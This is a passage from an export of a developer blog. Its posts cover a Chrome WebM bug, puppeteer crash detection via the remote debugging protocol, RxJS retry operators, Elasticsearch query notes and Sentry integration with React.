alpha_mode : 1 Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default) Stream mapping: Stream #0:1 -> #0:0 (copy) Stream #0:0 -> #0:1 (copy) Press [q] to stop, [?] for help frame= 3589 fps=0.0 q=-1.0 Lsize= 2107kB time=00:01:59.92 bitrate= 143.9kbits/s speed=4.75e+03x video:2053kB audio:16kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 1.849351% $ ffprobe new_rebirth-demo.webm ffprobe version 4.1.3 Copyright (c) 2007-2019 the FFmpeg developers built with Apple LLVM version 10.0.1 (clang-1001.0.46.4) configuration: --prefix=/usr/local/Cellar/ffmpeg/4.1.3_1 --enable-shared --enable-pthreads --enable-version3 --enable-hardcoded-tables --enable-avresample --cc=clang --host-cflags='-I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include -I/Library/Java/JavaVirtualMachines/adoptopenjdk-11.0.2.jdk/Contents/Home/include/darwin' --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libbluray --enable-libmp3lame --enable-libopus --enable-librubberband --enable-libsnappy --enable-libtesseract --enable-libtheora --enable-libvorbis --enable-libvpx --enable-libx264 --enable-libx265 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-librtmp --enable-libspeex --enable-videotoolbox --disable-libjack --disable-indev=jack --enable-libaom --enable-libsoxr libavutil 56. 22.100 / 56. 22.100 libavcodec 58. 35.100 / 58. 35.100 libavformat 58. 20.100 / 58. 20.100 libavdevice 58. 5.100 / 58. 5.100 libavfilter 7. 40.101 / 7. 40.101 libavresample 4. 0. 0 / 4. 0. 0 libswscale 5. 3.100 / 5. 3.100 libswresample 3. 3.100 / 3. 3.100 libpostproc 55. 3.100 / 55. 3.100 Input #0, matroska,webm, from 'new_rebirth-demo.webm': Metadata: ENCODER : Lavf58.20.100 Duration: 00:01:59.96, start: 0.000000, bitrate: 143 kb/s Stream #0:0(eng): Video: vp8, yuv420p(progressive), 1920x1080, SAR 1:1 DAR 16:9, 60 tbr, 1k tbn, 1k tbc (default) Metadata: ALPHA_MODE : 1 DURATION : 00:01:59.928000000 Stream #0:1(eng): Audio: opus, 48000 Hz, stereo, fltp (default) Metadata: DURATION : 00:01:59.955000000 ``` No longer broken. ## Wrap-up I prefer the last one, because the earlier methods do not actually fix it. This is a **Chrome Bug**. The community is discussing it, but there is still no fix. Discussion: https://bugs.chromium.org/p/chromium/issues/detail?id=642012 --- # Listen for page crashes with the WebKit remote debugging protocol - URL: https://bugs.cc/posts/webkit-remote-debugging-protocol-listening-crash/ (Markdown: https://bugs.cc/posts/webkit-remote-debugging-protocol-listening-crash/index.md) - Language: English - Published: 2019-04-22 - Tags: javascript, nodejs, webkit, puppeteer, chrome - Translation (Chinese): https://bugs.cc/zh/posts/webkit-remote-debugging-protocol-listening-crash/ ## Background I'm working on a project that uses `puppeteer`. One feature opens multiple `Tab`s in the Chrome that `puppeteer` launched, and manages them. `puppeteer` can open multiple sites, but that isn't easy to manage, so I used an extension to open and manage the sites. I also needed to take some action when a site crashes. I couldn't find a good way to listen for whether the current site had crashed. You might say: doesn't `puppeteer` provide `page.on('error', fn)` for this? Note what I said above: the sites are opened by an extension. `puppeteer`'s API only works for pages it opened. For pages not opened by `puppeteer`, `page.on('error', fn)` does nothing. ## Using Service Workers This idea came from my coworker [Haitao](https://github.com/liubiantao). Run a `Service Workers` on the current site. At runtime `Service Workers` start a separate process, so the site and `Service Workers` are two processes. When the site crashes, the `Service Workers` process is unaffected. You can use a heartbeat to tell if the site crashed. There's also an Alibaba article: [如何监控网页崩溃？](https://zhuanlan.zhihu.com/p/40273861) I didn't use this approach. If `Service Workers` crash, you're stuck. You might say: have the site and `Service Workers` heartbeat each other. That could work, but I don't like it. ## Using WebKit's remote debugging protocol ### Introduction Before we start, look at `puppeteer` source and why it can listen for page crashes. The code is in `lib/Page.js`. Page is a `Class` that extends `EventEmitter`. `EventEmitter` gives `page` the `on` method, which is `page.on('error', fn)` from earlier. So somewhere in `Page Class` it calls `this.emit('error')` to fire the `error event`. I searched and found it in `_onTargetCrashed`: ![](https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/puppeteer-ontargetcrashed.png) We found the crash trigger. Where is `_onTargetCrashed` itself triggered? ![](https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/inspector-targetcrashed-listener.png) A `client` listens for `Inspector.targetCrashed`, which calls `_onTargetCrashed`. I won't follow `client` further. It jumps around a lot. Just know that `client` ends up being a `websocket`. The `websocket` is created in `lib/Launcher.js`. [Code location](https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L169-L179) ![](https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/launcher-connection-create.png) Note these two lines: ```js const transport = new PipeTransport((chromeProcess.stdio[3]), (chromeProcess.stdio[4])); connection = new Connection('', transport, slowMo); ``` `chromeProcess` is from `nodejs` `spawn`: [Code location](https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L126-L137) ```js const chromeProcess = childProcess.spawn( chromeExecutable, chromeArguments, { detached: process.platform !== 'win32', env, stdio } ); ``` `chromeArguments` is the `chrome` launch argument list. It includes `--remote-debugging-`: [Code location](https://github.com/GoogleChrome/puppeteer/blob/19606a3b79/lib/Launcher.js#L108-L109) ```js if (!chromeArguments.some(argument => argument.startsWith('--remote-debugging-'))) chromeArguments.push(pipe ? '--remote-debugging-pipe' : '--remote-debugging-port=0'); ``` It's much clearer now. `Inspector.targetCrashed` comes from the WebKit remote debugging protocol, i.e. `remote debugging protocol`. It's defined in WebKit's `Inspector.json`: [Source/WebCore/inspector/Inspector.json#L39-L42](https://github.com/WebKit/webkit/blob/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e/Source/WebCore/inspector/Inspector.json#L39-L42) The commit for this `event`: [https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b](https://github.com/WebKit/webkit/commit/255ba17d1d7e0ad1530d503f28ee5d93d7c5351e#diff-4681ce2c9384e770dfac03ab133f133b) ### Writing the solution If we can listen for `Inspector.targetCrashed`, we know whether the site crashed. Add a launch arg to `puppeteer`: ```js puppeteer.launch({ args: [ '--remote-debugging-port=9222' // other args ] }); ``` When `puppeteer` starts, it listens on local port `9222`. The path `/json` is the current details: ![](https://bugs.cc/images/webkit-remote-debugging-protocol-listening-crash/devtools-json-endpoint.png) The format is: ```json [ { "description": "", "devtoolsFrontendUrl": "/devtools/inspector.html?ws=127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3", "faviconUrl": "https://s.ytimg.com/yts/img/favicon_32-vflOogEID.png", "id": "A1CB5A9CC25A7EE8A99C6A4A1876E4D3", "title": "張三李四 Chang and Lee 【等無此人 Waiting】 - YouTube", "type": "page", "url": "https://www.youtube.com/watch?v=lAcUGvpRkig&list=PL3p0C_7POnMHG-b0dzkeTVdNuM6yRE5iQ&index=10&t=0s", "webSocketDebuggerUrl": "ws://127.0.0.1:9222/devtools/page/A1CB5A9CC25A7EE8A99C6A4A1876E4D3" } ] ``` `type` is the current process: - page: web page - iframe: iframe nested in a page - background_page: extension page - service_worker: Service Workers `type` is useful if you only want to listen for a certain kind of crash. There's a more important field: `webSocketDebuggerUrl`. We'll use it to get messages. A simple demo: ```js const http = require('http'); const WebSocket = require('ws'); http.get('http://127.0.0.1:9222/json', res => { res.addListener('data', data => { const result = JSON.parse(data.toString()); result.forEach(info => { const client = new WebSocket(info.webSocketDebuggerUrl); client.on('message', data => { if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) { console.error('crash!'); } }); }); }) }) ``` Understand this first. The later code is easier then. The code is simple enough that I won't explain it. One problem: when the extension opens a site there's a delay, so some sites may not be listened to. And after this code has run, sites the extension opens later also won't be listened to. I tightened it up: ```js const http = require('http'); const WebSocket = require('ws'); module.exports = () => { const wsList = {}; let crashStaus = false; const getWsList = () => { return new Promise((resolve) => { http.get('http://127.0.0.1:9222/json', res => { res.addListener('data', data => { try { const result = JSON.parse(data.toString()); const tempWsList = {}; result.forEach(info => { if (typeof wsList[info.id] === 'undefined') { tempWsList[info.id] = info.webSocketDebuggerUrl; wsList[info.id] = info.webSocketDebuggerUrl; } }); if (Object.keys(tempWsList).length !== 0) { resolve(tempWsList); } } catch (e) { console.error(e); } }); }); }); }; setInterval(() => { getWsList().then(list => { Object.values(list).forEach(wsUrl => { const client = new WebSocket(wsUrl); client.on('message', data => { if (data.indexOf('"method":"Inspector.targetCrashed"') !== -1) { if (!crashStaus) { crashStaus = true; console.log('crash!!!'); } } }); }) }); }, 1000); }; ``` A note on this snippet: ```js if (!crashStaus) { crashStaus = true; console.log('crash!!!'); } ``` My requirement is: if any process `crash`es, shut down the whole service and restart. If multiple processes `crash` at once, I only want this path to run once. That's specific to my case. Change it to fit yours. ## References > [A first look at the WebKit remote debugging protocol](http://taobaofed.org/blog/2015/11/20/webkit-remote-debug-test/) > [Chrome remote debugging protocol: analysis and practice](http://fex.baidu.com/blog/2014/06/remote-debugging-protocol/) --- # Error retry in RxJS - URL: https://bugs.cc/posts/rxjs-error-retry/ (Markdown: https://bugs.cc/posts/rxjs-error-retry/index.md) - Language: English - Published: 2019-01-12 - Tags: javascript, rxjs - Translation (Chinese): https://bugs.cc/zh/posts/rxjs-error-retry/ ## Intro I recently had a requirement: if a request times out, retry it, and the retry count should be configurable. We send requests with `Axios`, and the request handling lives in a `redux-observable` `epic`. There are two ways to implement retry: - Add retry code in the `Axios` wrapper - Use `RxJS` operators in the `epic` Retrying in `Axios` is messy. I'd have to add retry into an already wrapped function, which feels wrong and is harder to maintain. So I used `RxJS` operators. The code here is a `Demo`, not project code, so it's easier to follow. ## RxJS error retry operators RxJS provides two operators: `retry` and `retryWhen`. Note: on retry, both operators retry the whole **sequence**. Also, `retry` and `retryWhen` only catch `Error`. They don't really work with `Promise`. I'll cover the workaround later. ### retry `retry` sets how many times to retry. On error, it retries n times. Demo: ```typescript const source = Rx.Observable.interval(1000) const example = source.map(val => { if (val === 2) { throw Error('error'); } return val; }).retry(1) example.subscribe({ next: val => console.log(val), error: val => console.log(val.message) }); ``` [Run online](https://jsbin.com/zixeqin/edit?js,console) This emits a number sequence every second. After `subscribe`, you get 0 after one second, 1 after two seconds, and so on. Each value goes through `map`. When the value equals 2, it throws. Otherwise it returns the value unchanged, and it reaches `next` in `subscribe`. Result: ![](https://bugs.cc/images/rxjs-error-retry/retry-console.png) It emits 0 and 1 fine. When val is 2, it throws. `retry` catches it and reruns the whole `RxJS` sequence. So you see 0 and 1 again. Then 2 again, another error, but `retry` has no retries left, so it skips it. `error` in `subscribe` catches it and prints `error`. ### retryWhen `retry` only sets the retry count. Sometimes you want to log on retry, or do something else. `retry` isn't a good fit then. That's what `retryWhen` is for. ```typescript const source = Rx.Observable.interval(1000) const example = source.map(val => { if (val === 2) { throw Error('error') } return val; }).retryWhen(err => { return err .do(() => console.log('retrying')) .delay(2000) }) example.subscribe({ next: val => console.log(val), error: val => console.log(val.message) }); ``` [Run online](https://jsbin.com/zixeqin/10/edit?js,console) Result: ![](https://bugs.cc/images/rxjs-error-retry/retrywhen-delay-console.png) The emit logic is about the same. The handling is different. We use `retryWhen` to control retry. `do` prints a string, then `delay` waits 2 seconds before retrying. This retries forever. There's no retry limit. The next section covers that. ### retry + retryWhen So `retry` can set the count, and `retryWhen` can set the logic. What if we want both? OK, first look at `retryWhen`. If it internally triggers `Error` or `Completed`, it stops retrying and passes that `Error` or `Completed` to `subscribe`. That's a bit abstract, so here's a `Demo`: ```typescript const source = Rx.Observable.interval(1000) const example = source.map(val => { if (val === 2) { throw Error('error') } return val; }).retryWhen(err => { return err .scan((acc, curr) => { if (acc > 2) { throw curr } return acc + 1 }, 1) }) example.subscribe({ next: val => console.log(val), error: val => console.log(val.message) }); ``` [Run online](https://jsbin.com/zixeqin/16/edit?js,console) Result: ![](https://bugs.cc/images/rxjs-error-retry/retrywhen-scan-error.png) The emit logic is unchanged. There's a new operator: `scan`. What does it do? You can think of `scan` as `javascript`'s `reduce`. It takes two arguments: a callback and a default value. In the code above, the default is 1. First time acc is 1. Second retry, acc is 2. Third retry, acc is 3, which is greater than 2, so the `if` is true and it `throw`s `curr`. `curr` is the original error. As I said, if `scan` throws `Error`, retry stops, `subscribe` gets it, `error` runs, and it prints `error`. Re-throwing after the retry limit is the usual approach, so later operators can handle the error. Some requirements want `Completed` instead: ```typescript const source = Rx.Observable.interval(200) const example = source.map(val => { if (val === 2) { throw Error('error') } return val; }).retryWhen(err => { return err .scan((acc, curr) => { return acc + 1 }, 0) .takeWhile(v => v <= 2) }) example.subscribe({ complete: () => console.log('Completed'), next: val => console.log(val), error: val => console.log(val.message) }); ``` [Run online](https://jsbin.com/zixeqin/17/edit?js,console) Result: ![](https://bugs.cc/images/rxjs-error-retry/retrywhen-takewhile-completed.png) There's a new operator `takeWhile`. It takes a function. If the function returns `true`, the value continues downstream. Once it returns `false`, it triggers `complete` in `subscribe`, meaning the sequence is done. That should make the code above clear. ## Handling the Promise problem I said `retry` and `retryWhen` don't support `Promise.reject()`. That's not quite accurate. **Promise has no retry API**. By the time you retry, the `Promise` is already running, so you can't call that method again. That's why `retry` and `retryWhen` can't retry a `Promise`. The fix is simple. Use the `defer` operator. Here's what it does. `defer` takes a function. The function doesn't run until you `subscribe`. Each run is in its own space, so even with `Promise`, retry still works: it doesn't reuse the previous result. It opens a new memory space, runs the function, and returns the result. So you can write: ```typescript const getInfo: AxiosPromise = axios.get('http://xxx.com') const exp = defer(() => getInfo) .retryWhen(err => { return err.scan((acc, curr) => { if (acc > 2) { throw curr } return acc + 1 }, 1) }) example.subscribe({ next: val => console.log(val), error: val => console.log(val.message) }); ``` --- # Reading notes: From Lucene to Elasticsearch: full-text search in practice - URL: https://bugs.cc/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/ (Markdown: https://bugs.cc/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/index.md) - Language: English - Published: 2018-12-30 - Tags: elasticsearch, dsl, kibana - Translation (Chinese): https://bugs.cc/zh/posts/reading-notes-from-lucene-to-elasticsearch-full-text-search/ ## From Lucene to Elasticsearch: full-text search in practice These notes only cover the search parts of `Elasticsearch`. All searches in this post were run in `kibana` `Dev tools`. ### Preparation You need `Elasticsearch`, `kibana`, and `elasticsearch-analysis-ik` installed. I will not go into the install steps here. (After installing, remember to restart `Elasticsearch`.) Once it is back up, open `kibana` `Dev tools`, paste the DSL below, and run it: ```js PUT books { "settings": { "number_of_replicas": 1, "number_of_shards": 3 }, "mappings": { "IT": { "properties": { "id": { "type": "long" }, "title": { "type": "text", "analyzer": "ik_max_word" }, "language": { "type": "keyword" }, "author": { "type": "keyword" }, "price": { "type": "double" }, "year": { "type": "date", "format": "yyyy-MM-dd" }, "description": { "type": "text", "analyzer": "ik_max_word" } } } } } ``` After that, save the following as `books.json`: ```jsonl title="books.json" {"index":{ "_index": "books", "_type": "IT", "_id": "1" }} {"id":"1","title":"Java编程思想","language":"java","author":"Bruce Eckel","price":70.20,"publish_time":"2007-10-01","description":"Java学习必读经典,殿堂级著作！赢得了全球程序员的广泛赞誉。"} {"index":{ "_index": "books", "_type": "IT", "_id": "2" }} {"id":"2","title":"Java程序性能优化","language":"java","author":"葛一鸣","price":46.50,"publish_time":"2012-08-01","description":"让你的Java程序更快、更稳定。深入剖析软件设计层面、代码层面、JVM虚拟机层面的优化方法"} {"index":{ "_index": "books", "_type": "IT", "_id": "3" }} {"id":"3","title":"Python科学计算","language":"python","author":"张若愚","price":81.40,"publish_time":"2016-05-01","description":"零基础学python,光盘中作者独家整合开发winPython运行环境，涵盖了Python各个扩展库"} {"index":{ "_index": "books", "_type": "IT", "_id": "4" }} {"id":"4","title":"Python基础教程","language":"python","author":"Helant","price":54.50,"publish_time":"2014-03-01","description":"经典的Python入门教程，层次鲜明，结构严谨，内容翔实"} {"index":{ "_index": "books", "_type": "IT", "_id": "5" }} {"id":"5","title":"JavaScript高级程序设计","language":"javascript","author":"Nicholas C. Zakas","price":66.40,"publish_time":"2012-10-01","description":"JavaScript技术经典名著"} ``` Then import it. If your `Elasticsearch` version is below `6.0`, import `books.json` with: ```bash curl -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json ``` If your `Elasticsearch` version is above `6.0`, import with: ```bash curl -H "Content-Type: application/json" -XPOST "http://localhost:9200/_bulk?pretty" --data-binary @books.json ``` ### Basic search #### Return all documents in an index ```js GET books/_search { "query": { "match_all": {} } } ``` You can shorten it to: ```js GET books/search ``` #### Find documents whose field contains a given word Use `term` to query. A `term` query is not analyzed; the search term has to match a term in the document exactly. Typical uses: names, places, anything that needs an exact match. Find books whose title field contains `思想`: ```js GET books/_search { "query": { "term": { "title": "思想" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-single-hit.png) #### Paginate the results Sometimes a query returns thousands of hits. That is where pagination comes in. Pagination has two properties, `from` and `size`: - from: where to start - size: max number of documents to return You can think of it as: start at `from` and return the rest of the documents, then `size` caps how many you actually get back. In JS that would look like: ```js const from = 100 - 1; // arrays start at 0, so subtract one const size = 10; const data = [1, 2, 3, ..., 999, 1000]; const fromDate = data.splice(from); const result = fromData.splice(0, size); console.log(result) //=> [100, 101, 102, 103, 104, 105, 106, 107, 108, 109] ``` #### Limit returned fields Usually we query to look at a few fields, not every field. By default `Elasticsearch` returns all fields of a document, which can get in the way. So `Elasticsearch` provides a way to limit the returned fields. Say I only need `title` and `author`: ```js GET books/_search { "_source": ["title", "author"], "query": { "term": { "title": "java" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/source-filter-title-author.png) #### Filter by a minimum score Ordinary `Elasticsearch` search is relevance-based, and relevance comes from the `score`. On a fuzzy search, `Elasticsearch` may return documents that are not that relevant. You can set a minimum score, and documents below that score will not show up. For example, I want documents whose `title` contains `java`, with a score of at least `0.7`: ```js GET books/_search { "min_score": 0.7, "query": { "term": { "title": "java" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/min-score-filtered-hit.png) #### Highlight keywords Sometimes we import `Elasticsearch` results directly into a web page. Then we want keywords highlighted so the user can see more clearly what they searched for. `Elasticsearch` already has an API for this. Say I want keywords in the results highlighted: ```js GET books/_search { "_source": ["title"], "min_score": 0.7, "query": { "term": { "title": "java" } }, "highlight": { "fields": { "title": {} } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-em-tags.png) The default tags are ``. To customize them, use `pre_tags` and `post_tags`. The full query: ```js GET books/_search { "_source": ["title"], "min_score": 0.7, "query": { "term": { "title": "java" } }, "highlight" : { "pre_tags" : ["

"], "post_tags" : ["

"], "fields" : { "title" : {} } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/highlight-h1-tags.png) ### Full-text queries The previous section mostly searched with `term`, but `Elasticsearch` has many search methods. This chapter is about those methods and what each one does. I am skipping `common_terms query`, `query_string query`, and `simple_query_string query`. They are used less often, and they take more explaining. If you want to know more, look them up online. I will not go into them here. #### match query First, a `term` query: ```js GET books/_search { "_source": ["title", "author"], "query": { "term": { "title": "java编程" } } } ``` You will see that the result is empty (the data is in the index, though): ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/term-query-no-hits.png) That is because `term` matches against analyzed terms. The `java编程` we just searched is analyzed into `java` and `编程`, so the whole string does not match. In code: ```js const keyword = 'java编程'; const data = ['java', '编程']; const result = data.includes(keyword); console.log(result) //=> false ``` Now try swapping `term` for `match`: ```js GET books/_search { "_source": ["title", "author"], "query": { "match": { "title": "java编程" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-or-two-hits.png) There are hits now. Why two of them? Because `match` analyzes your keywords, then matches them against the analyzed terms in the document. If any analyzed term from the document matches any analyzed term from the keyword, the document is returned. In code: ```js const data = ['java', '编程', '思想']; // the document's terms after analysis const keywords = ['java', '编程', '思想']; // the keywords after analysis const result = (() => { for (let x = 0; x < data.length; x++) { const dataItem = data[x]; for (let y = 0; y < keywords.length; y++) { const keywordItem = keywords[y]; if (dataItem === keywordItem) { return true; } } } return false; })() ``` What if I only want one hit, and I still have to use `match`? Is that possible? Yes. `match` has an `operator` property that can do this: ```js GET books/_search { "_source": ["title", "author"], "query": { "match": { "title": { "query": "java编程", "operator": "and" } } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-and-single-hit.png) The idea is that `operator` is `and`, which tells `Elasticsearch` that every keyword term must match a term in the document. Miss one and I do not want it. If `operator` is `or`, the result is the same as before. #### match_phrase query You can think of this as `match` with `operator` already set to `and`. It has two constraints. Both must hold for a document to show up: - Every analyzed term is in the field, same as `operator: "and"` - The order has to match What does order mean? If you use `match` with `编程java`, you still get the same result as above. If you need the order to match, use `match_phrase`. Searching `编程java`: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-reversed-no-hits.png) Searching `java编程`: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-ordered-hit.png) #### match_phrase_prefix query This is similar to `match_phrase`, except the last term is used as a prefix. Picture a user typing `辣鸡UZ` in the search box, and `辣鸡UZI` showing up in the dropdown. First `match_phrase_prefix` analyzes the input into `辣鸡`, finds a document, then checks whether the string after `辣鸡` starts with `UZ`. If it does, the document is a hit. You can picture a `(.*)` wildcard stuck on the end, like `辣鸡UZ(.*)`. Knowing that, here is a query: ```js GET books/_search { "_source": ["title", "author"], "query": { "match_phrase_prefix": { "title": "java编" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/match-phrase-prefix-hit.png) #### multi_match query `multi_match` is an upgrade of `match`. It searches multiple fields. Say I do not want to search only `title` for `java编程`; I also want to search `description`. How? `Elasticsearch` already has `multi_match` for this: ```js GET books/_search { "_source": ["title", "description"], "query": { "multi_match": { "query": "java编程", "fields": ["title", "description"] } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/multi-match-title-description.png) `multi_match` also supports wildcards. The query above can be written as: ```js GET books/_search { "_source": ["title", "description"], "query": { "multi_match": { "query": "java编程", "fields": ["title", "*tion"] } } } ``` ### Term queries The previous chapter was full-text queries. This one is term queries. The difference: - Full-text queries: analyze the query, then match against analyzed terms in the document - Term queries: do not analyze the query #### term query I already covered this in the first chapter, so I will not go into it again. #### terms query `terms` is an upgrade of `term`. It checks whether a field contains any of the given keywords. For example, documents whose `title` contains `优化` or `基础`: ```js GET books/_search { "_source": ["title"], "query": { "terms": { "title": ["优化", "基础"] } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/terms-query-two-hits.png) #### range query You can guess from the name that `range` is range matching. It can match `number`, `date`, and `string` (string range queries are a bit special and not used much, so I will skip them). `range` supports these parameters: - gt: greater than - gte: greater than or equal - lt: less than - lte: less than or equal ##### number range query I want books priced below 70 and at least 50. In pseudocode: `(price >= 50 && price < 70)`: ```js GET books/_search { "_source": ["title", "price"], "query": { "range": { "price": { "gte": 50, "lt": 70 } } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-price-hits.png) ##### date range query If I want books published between `2016-1-1` and `2016-12-31`, the DSL looks like this: ```js GET books/_search { "_source": ["title", "publish_time"], "query": { "range": { "publish_time": { "gte": "2016-1-1", "lte": "2016-12-31", "format": "yyyy-MM-dd" } } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/range-date-hit.png) #### exists query Matches documents that have this field. For example, documents that have a `title` field: ```js GET books/_search { "_source": "title", "query": { "exists": { "field": "title" } } } ``` The result returns every document. So how do we define "has this field"? The rules: - `{"title": "js"}`: exists - `{"title": ""}`: exists - `{"title": ["js"]}`: exists - `{"title": ["js", null]}`: exists (one non-empty value is enough) - `{"title": null}`: does not exist - `{"title": []}` does not exist - `{"title": [null]}` does not exist - `{"foo": "bar"}`: does not exist #### prefix query Matches the prefix of analyzed terms in the document. First, a DSL query: ```js GET books/_search { "_source": "description", "query": { "prefix": { "description": "wi" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/prefix-query-winpython.png) Why can `wi` match this? Because `Elasticsearch` analyzes `description`, and it splits `winPython` into `win` `Python`. Those two are the analyzed terms, and `prefix` checks whether each term starts with the keyword, like JS `startsWith`. In code: ```js const dataItem = ['win', 'python']; const prefixKeyword = 'wi'; const result = dataItem.some(item => item.startsWith(prefixKeyword)); console.log(result); //=> true ``` #### wildcard query `wildcard` is a wildcard query. Right now it only supports `*` and `?`: - `*`: zero or more - `?`: one or more **Note: `wildcard` does not match the full text. It still analyzes the field, then applies the pattern to each term** For example, documents matching `wi*`: ```js GET books/_search { "_source": "description", "query": { "wildcard": { "description": "wi*" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/wildcard-query-winpython.png) First `Elasticsearch` analyzes `description` into `win` and `python`. Then `wi*` is applied to each term. `win` matches, so it shows up. If I use `win?`, there are no hits, because `?` means one or more. When it matches `win`, there is nothing after it, so the result is empty. #### regexp query This is a regular expression query. The idea is the same as `wildcard`, so I will not go into it here. #### fuzzy query Think of `fuzzy` as a fuzzy query. If a user mistypes a keyword as `javascrpit`, `fuzzy` can still find `javascript`: ```js GET books/_search { "_source": "description", "query": { "fuzzy": { "description": "javascrpit" } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/fuzzy-query-javascript.png) ### Compound queries A compound query combines simple queries into a more complex one. It can also control how another query behaves. #### constant_score query Not used much. It scores the documents in the result. I will not go into it here. If you are interested: [[Elasticsearch] 控制相关度 (四) - 忽略 TF/IDF](https://blog.csdn.net/dm_vincent/article/details/42157577) #### bool query This query is pretty important. It provides: - must: the document must satisfy the queries under `must`, like `AND` or `&&` - should: the document may match the queries under `should`; it is fine if it does not. Like `OR` or `||` - must_not: the opposite of `must`. Must not satisfy the queries under `must_not`, like `!==` - filter: same as `must`, but it does not score, so it does not affect `_score` Now I want: author (`author`) is `葛一鸣`, title (`title`) contains `java`, price (`price`) must not be above `70` or below `40`, and description (`description`) may or may not contain `虚拟机`. ```js GET books/_search { "query": { "bool": { "filter": { "term": { "author": "葛一鸣" } }, "must": [ { "match": { "title": "java" } } ], "should": [ { "match": { "description": "虚拟机" } } ], "must_not": [ { "range": { "price": { "gt": 70, "lt": 40 } } } ] } } } ``` The result: ![](https://bugs.cc/images/reading-notes-from-lucene-to-elasticsearch-full-text-search/bool-query-combined-hit.png) #### dis_max query, function_score query, boosting query I will not cover these three. They mainly affect `_score`, which is the score of the query results. Search online if you are interested. --- # Integrating Sentry with JavaScript - URL: https://bugs.cc/posts/javascript-integration-sentry/ (Markdown: https://bugs.cc/posts/javascript-integration-sentry/index.md) - Language: English - Published: 2018-08-24 - Tags: javascript, react, electron - Translation (Chinese): https://bugs.cc/zh/posts/javascript-integration-sentry/ ## Sentry-JavaScript > Sentry is an open-source project for capturing product errors. It supports many languages and frameworks. > This post only covers the frontend JavaScript side. At our company, a lot of projects used `kibana` for stats. That did not tell us how the app was actually running. When a customer hit an error or a crash in a product we built, they had to contact support, who then handed it to us to reproduce and fix. Without concrete data, reproduction took a long time. Sentry is for that pain point. It lets us pin down the root cause quickly, ship a fix, and spend time on new features instead of reproducing bugs. ### JavaScript #### Setup Sentry hooks error functions to capture errors, so we can drop it into an existing project with almost no overhead. Here are the basic steps for combining React and Sentry. React: ```js #SentryBoundary.js import { Component } from "react"; import Raven from "raven-js"; export default class SentryBoundary extends Component { constructor(props) { super(props); this.state = { error: null }; } componentDidCatch(error, errorInfo) { this.setState({ error }); // send the error info Raven.captureException(error, { extra: errorInfo }); } render() { if (this.state.error) { // this can be written as a component; when it crashes, the crashed component can be replaced console.log("React Error"); } return this.props.children; } } ``` ```js #index.js Raven.config("DSN", { release: release, }).install(); ReactDOM.render(
, document.getElementById("root") ); ``` ##### Upload source-map If the code above is in place, the app can capture errors. One problem remains: most of our projects bundle with `webpack`, and the bundled code is minified. We cannot tell where an error was thrown. So we upload `source-map` files together with the minified files to the Sentry server, so we can find the original location quickly. Configuring and running that upload is tedious. It is also the hard part of wiring a project to Sentry. There are currently two ways to upload source maps: - Use Sentry's Webpack plugin. Not very flexible. - Use `sentry-cli`. More flexible; you can configure it per project. The setup is tedious, so I will not go through it here. For a full React + Sentry example, see my GitHub repo: [react-sentry-demo](https://github.com/BlackHole1/react-sentry-demo). Every option is documented. For source-map upload I used the second approach and wrote a script that **builds, checks the environment, checks auth, uploads source maps, and deletes local source maps**. It is automated. You can copy the script into an existing project with small changes. The core upload command: ```bash sentry-cli releases files v1.8 upload-sourcemaps {directory containing the js and js.map files; if not found, sentry will traverse its subdirectories} --url-prefix '~/{filter rule}'`; ``` #### How it works JavaScript has `window.onerror`. Sentry's core capture on the frontend is rewriting that method so every error is caught. The idea looks like this: ```js let _winError = window.onerror; window.onerror = function (message, url, lineNo, colNo, errorObj) { console.log(` Error message: ${message} Error file URL: ${url} Error line: ${lineNo} Error column: ${colNo} Error details: ${errorObj}`); } ``` Then Sentry collects non-error data such as `user-agent`, browser info, OS info, and custom fields, runs them 